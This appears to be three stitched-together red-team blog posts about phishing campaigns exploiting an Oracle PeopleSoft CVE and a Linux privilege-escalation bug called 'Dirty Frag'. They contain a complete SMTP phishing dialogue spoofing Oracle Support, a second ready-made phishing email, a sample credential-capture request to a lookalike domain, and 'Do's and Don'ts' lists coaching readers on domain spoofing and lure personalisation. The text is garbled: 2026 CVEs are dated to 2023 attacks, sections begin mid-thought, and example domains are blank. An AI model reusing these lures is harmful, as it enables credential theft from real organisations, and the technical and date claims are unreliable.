Observed initially in May 2023, these attacks have largely targeted financial institutions and large corporate entities that rely on Oracle PeopleSoft for enterprise resource planning (ERP). These entities are attractive targets due to the sensitive nature of the data held within these systems. The campaigns, linked to threat groups with a history of targeting ERP systems, capitalize on the security oversight typical in complex environments reliant on legacy applications.

Campaign or TTP Overview

The exploitation of CVE-2026-35273 involves crafted phishing emails purporting to come from legitimate Oracle support channels. The campaign leverages familiar sender domains like oracle-support@company.com and service-oriented subject lines, such as “Critical Update: Action Required to Secure Your Oracle PeopleSoft System.” This particular campaign has been noted for its seemingly personalized approach, integrating organization-specific data in a bid to establish trust with the recipient.

The threat actors initiated these campaigns via compromised email infrastructure, often belonging to small service providers that lack robust security postures. Targeting began promptly in early May 2023, with attacks primarily focusing on entities in North America and Europe, sectors where PeopleSoft’s application prevalence is substantial.

How It Was Built

The infrastructure setup for this campaign was both devious and subtly innovative. The attackers utilized a network of compromised servers to relay phishing emails, making it difficult to trace the origins while bypassing basic sender authentication mechanisms.

HELO: peopletools-update.service

MAIL FROM: oracle-support@trustedservice.org

RCPT TO: john.smith@targetorganization.com

DATA

Subject: Urgent: Required Update for Oracle PeopleSoft

MIME-Version: 1.0

Content-Type: text/html; charset="UTF-8"

To: "John Smith" <john.smith@targetorganization.com>

From: "Oracle Support" <oracle-support@oracle-updates.com>



Dear John,



We have detected a critical vulnerability affecting your Oracle PeopleSoft system. To prevent unauthorized access to your sensitive data, please update your system immediately.



Kindly click on the link below to perform the update:



[Update Now](http://fake-updates.oracle.com/PeopleSoft_Update_053023)



Thank you for your prompt attention to this matter.



Sincerely,

Oracle Support Team



.

The delivery mechanism generally involved HTML emails, loaded with links to cloned update pages that mimicked Oracle’s genuine support portal. By exploiting vulnerabilities in Oracle PeopleSoft, threat actors could deploy scripts for credential harvesting once users interacted with the website.

Why It Worked

Several factors contributed to the success of these campaigns. Notably, the use of legitimate-looking sender domains helped increase click-through rates. Recipients often recognized “oracle-support” as a credible entity, diminishing their suspicion. Additionally, the urgent framing of the email subject line triggered a psychological response in recipients to act quickly without over-scrutinizing the email’s legitimacy.

The lure was enhanced by detailed email personalization. By incorporating specific user data and referencing actual system configurations, the campaign created a sense of legitimacy, making it harder for users to distinguish malicious content from official communication.

Operator Takeaways

As red teamers, this campaign offers valuable lessons in crafting convincing phishing scenarios. To replicate its success, consider leveraging existing knowledge about the target’s systems and infrastructure to build credibility. Ensure that your payload delivery methods are versatile and employ domain spoofing judiciously, as it remains a potent tool against less rigorous inbound email validation filters.

Do’s and Don’ts

• Do thoroughly research your target organization to tailor your phishing lures to their specific environment.
• Don’t rely solely on generic templates. Personalization increases engagement and credibility.
• Do use realistic sender domains that closely mimic legitimate support channels to lower suspicion. This increases the likelihood of your emails reaching the inbox without being flagged as spam.
• Don’t forget to consider delivery timing. Attackers exploited this vulnerability mostly within a short window after the vulnerability disclosure, catching many organizations ill-prepared. Time your campaigns to align with plausible events or updates related to your chosen theme.

References

• CISA Known Exploited Vulnerabilities Catalog
• Oracle Security Blog on CVE-2026-35273

Related Reading

• Exploiting CVE-2026-11645: Google Chromium V8 Vulnerability in Phishing Campaigns
• What is PeopleTools in the Context of Phishing?
• What is Spear Phishing in the Context of Cybersecurity?
• Leveraging Command Injection in Phishing for Data Harvesting

Educational Purpose: This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.

According to an analysis by the Internet Storm Center, the vulnerability primarily impacts 64-bit architecture Linux systems running Kernel versions 5.10 through 5.15. Though not attributed to a specific threat actor, the structured approach indicates involvement by a technically proficient group utilizing insider knowledge of Linux network protocol intricacies. The discovered campaigns were primarily aimed at software development firms, where elevated access could potentially yield high-value data exfiltration possibilities.

How It Was Built

The Dirty Frag vulnerability campaign leverages classic spear-phishing techniques enhanced by nuanced technical payloads that exploit specific configuration weaknesses. The attackers crafted email lures mimicking internal security alerts, often featuring subject lines like “Critical Security Update Required: Immediate Action Needed from IT Department”. The sender’s addresses were expertly spoofed to appear as the company’s internal IT support desk, enhancing credibility.

On a technical front, the attack leveraged multi-stage payloads delivered via compromised third-party email servers, circumventing basic SPF and DKIM checks. Upon a successful phishing email open, an embedded hyperlink directed victims to an attacker-controlled site, configured similarly to an internal portal but hosted on plausible-sounding domains like companysupport.online and security-updates.info.

POST /update-check HTTP/1.1

Host: companysupport.online

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0

Accept: */*

Content-Type: application/x-www-form-urlencoded

Content-Length: 53



username=jack.bauer&password=b3tmp@ss&submit=Login

Once credentials were captured, the malicious payload exploited the Dirty Frag vulnerability by deploying a custom script capable of executing TCP fragment overlappings at kernel-level, thereby achieving privilege escalation locally.

Why It Worked

This campaign’s effectiveness hinged on several strategic decisions:

• Imitative Deception: By replicating genuine internal communications, the phishing emails bypassed initial suspicion, aided by legitimate-looking domains.
• Efficient Domain Spoofing: The use of domains closely resembling legitimate sites (e.g., companysupport.online) was critical in maintaining the ruse. Even savvier recipients failed to identify these slight discrepancies.
• Technical Exploitation: Integrating the Dirty Frag vulnerability allowed the attack to escalate user privileges seamlessly upon payload execution. This choice ensured that a foothold quickly became a full compromise, leveraging the Linux kernel’s network handling intricacies.

The meticulous preparation in simulating genuine IT messages and understanding the recipient’s environment increased the campaign’s success rates significantly.

Operator Takeaways

For those engaging in red team operations, this campaign highlights techniques that can be adapted for authorized assessments:

• Targeted Personalization: Tailor phishing content to mimic IT policies or urgent security updates that require user interaction, thereby increasing open and engagement rates.
• Domain Crafting: Employ domains for payload delivery that align closely with those used in the organization’s communications. A company’s TLD (Top-Level Domain) variations can prove incredibly effective in bypassing user scrutiny.
• Vulnerability Exploits: Utilize known vulnerabilities like Dirty Frag in controlled environments to simulate privilege escalation paths, providing a real test of existing defenses.

Do’s and Don’ts

Do: Innovate specific, relevant content for phishing scenarios that speak to the target’s operational reality. Use authentic-seeming domain names and sender addresses to decrease suspicion immediately upon email receipt.

Don’t: Overlook the importance of domain registration information and DNS records. While trivial for an attacker, poor setup can lead to immediate flagging and lower trust, diminishing the likelihood of email engagement.

References

• Internet Storm Center analysis of Dirty Frag vulnerability

Related Reading

• Local Privilege Escalation in Phishing Campaigns: Technical Analysis of Dirty Frag
• What is Local Privilege Escalation in Social Engineering?
• Privilege Escalation: Understanding the Risks and Mitigations
• Understanding Local Privilege Escalation: The Dirty Frag Vulnerability

Educational Purpose: This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.

The detailed advisory highlights that the vulnerability affects multiple Linux distributions, creating widespread concern among system administrators. With the ability for attackers to escalate their privileges, phishing campaigns can become more potent, providing an entry point for deeper infiltration into an organization’s infrastructure. Targeting predominantly enterprise environments, these campaigns could see a significant increase in success rates due to the sophisticated hands-on-keyboard tactics facilitated by Dirty Frag.

Campaign or TTP Overview

The emergence of the Dirty Frag vulnerability has created a fertile ground for highly targeted phishing attacks. Exploited initially in mid-September 2023, attackers have focused on industries heavily reliant on Linux-based infrastructure, including technology firms, cloud service providers, and financial institutions. There are indicators that the campaigns have been orchestrated by a previously seen advanced persistent threat (APT) group known for its proficiency in deploying kernel-level exploits.

The attackers orchestrated the campaigns by leveraging spear-phishing emails to infiltrate high-value targets. The delivery involved well-crafted emails purporting to be from the organization’s IT department, notifying recipients about a critical software update that needed immediate attention. With the incorporation of the LPE via Dirty Frag, once gaining initial access, attackers were able to exploit the vulnerability to gain root privileges seamlessly.

How It Was Built

The campaign infrastructure was meticulously constructed using compromised servers to relay phishing emails. Utilizing domains that resembled legitimate IT service providers, such as

, attackers spoofed sender addresses to appear as internal communications from the target’s IT department. This crafted familiarity was a pivotal part of their strategy, enhancing the plausibility of the lure content.

A typical phishing email subject line used in these campaigns was “URGENT: Immediate Action Required for Server Security Update”. The email body included detailed instructions that mimicked legitimate IT communications, with phrases like ‘Dear User, System Maintenance is critical for your safety. Click the link below to install the latest security patch.’ The links included within the emails redirected users to a credential capture page designed to mimic official update portals.

Subject: URGENT: Immediate Action Required for Server Security Update

From: IT Support <helpdesk@support-update.org>

To: [Target Email]



Dear User,



System Maintenance is critical for your safety. Please log in and initiate the security update to avoid potential data breaches.



[Hyperlinked text: Start Update Process]



Thank you,

IT Support Team

Once credentials were harvested, the operators used stolen information to remotely log into the target’s systems. They deployed a malicious payload that exploited the Dirty Frag vulnerability, elevating privileges to root access.

Why It Worked

The campaign’s effectiveness lay in several critical elements. First, the use of domains closely resembling legitimate ones (

) reduced the likelihood of email filtering and aroused less suspicion among recipients. Second, the urgency conveyed in the subject lines prompted immediate action without further validation, capitalizing on the typical user behavior under perceived authority pressure.

Additionally, the crafted email contents used internal jargon and official-looking trademarked elements to create a sense of legitimacy. Lastly, the direct linkage of the phishing email to the exploitation of Dirty Frag compounded its impact by ensuring that once the initial trickery succeeded, operators could secure deeper, more privileged access.

Operator Takeaways

Red team operators should note the integration of social engineering with technical exploits as a force multiplier in campaign success. Combining technical precision with psychological manipulation can yield high payoff operations. It’s imperative to tailor your phishing content to reflect the target’s unique communication style and known vulnerabilities, as demonstrated by the use of common IT communication patterns in this campaign.

Do’s and Don’ts

• Do replicate legitimate sources as closely as possible to increase trust and likelihood of interaction.
• Do use credible urgency, but ensure it doesn’t overreach into implausibility, which can lead to skepticism.
• Don’t rely solely on email layouts or subject lines; integrate technical techniques like privilege escalation for meaningful impact.
• Don’t neglect the importance of timely and relevant external sources, as these can bolster believability when cited in communication.

References

For a comprehensive perspective on the Dirty Frag vulnerability and associated risks, you can read the full SANS advisory.

Related Reading

• Local Privilege Escalation in Phishing Campaigns: Technical Analysis of Dirty Frag
• Understanding Local Privilege Escalation: The Dirty Frag Vulnerability
• Exploiting Out-of-bounds Write Vulnerabilities in Phishing Campaigns
• Crafting Phishing Emails: Techniques and Tactics

Educational Purpose: This content is provided for awareness and defensive purposes only. Understanding attacker methodologies helps individuals and organizations protect themselves.